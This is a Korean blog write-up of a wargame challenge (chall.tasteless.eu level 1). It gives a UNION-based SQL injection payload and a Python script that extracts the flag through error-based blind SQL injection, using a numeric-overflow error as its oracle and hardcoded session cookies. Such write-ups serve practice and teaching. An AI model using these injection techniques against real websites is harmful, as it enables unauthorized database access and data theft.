해당 문제는 의도한 풀이와 의도하지 않은 풀이로 문제를 풀었다.
문제에 들어가면 블라인드 SQLI가 아니라고 하며 대부분의 Blind SQL시 사용하는 구문들이 필터링 되어있다.
그러나 필터링되지 않은 구문을 사용해주면 Blind SQLI가 가능하며 Unintended 풀이가 가능하다.
의도된 풀이
payload
,1) union (select 1,flag from level1_flag)#
의도되지 않은 풀이
import requests
def request(payload):
url = "http://chall.tasteless.eu/level1/index.php"
params = {'dir':payload}
headers = {'Cookie':'login=guest%25084e0343a0486ff05530df6c705c8bb4; __cfduid=dc8f9c4e92cf4316e617bbaa23cfc8b8f1532166053; PHPSESSID=dnn3sve7g1th9sh0164soi6ck6'}
response = requests.get(url,params=params,headers=headers).text
print response
if "error" in response:
return True
else:
return False
length = 0
for i in range(0,100):
payload = ",(select 1 from level1_flag where length((select flag from level1_flag)) in ("+str(i)+") and 9e300*9e300))#"
if request(payload) == True:
length = i
print "Find Flag Length[*] = " + str(length)
break
strings = "0123456789abcdef"
flag = ""
for i in range(1,length+1):
for j in range(0,len(strings)):
payload = ",(select 1 from level1_flag where lpad((select flag from level1_flag),"+str(i)+",space(1)) in ('"+flag+strings[j]+"') and 9e300*9e300))#"
if request(payload) == True:
flag+=strings[j]
print "Find Flag[-] = " + flag
print "Find Flag[+] = " + flag
'Wargame > chall.tasteless.eu' 카테고리의 다른 글
chall.tasteless.eu Level 7 Get Me Down (0) | 2018.10.14 |
---|---|
chall.tasteless.eu Level 6 Too Easy (0) | 2018.10.14 |
chall.tasteless.eu Level 3 Double Agent (0) | 2018.10.14 |
chall.tasteless.eu Level 4 Stop Quotes (0) | 2018.10.13 |
chall.tasteless.eu Level 2 Milk (0) | 2018.10.13 |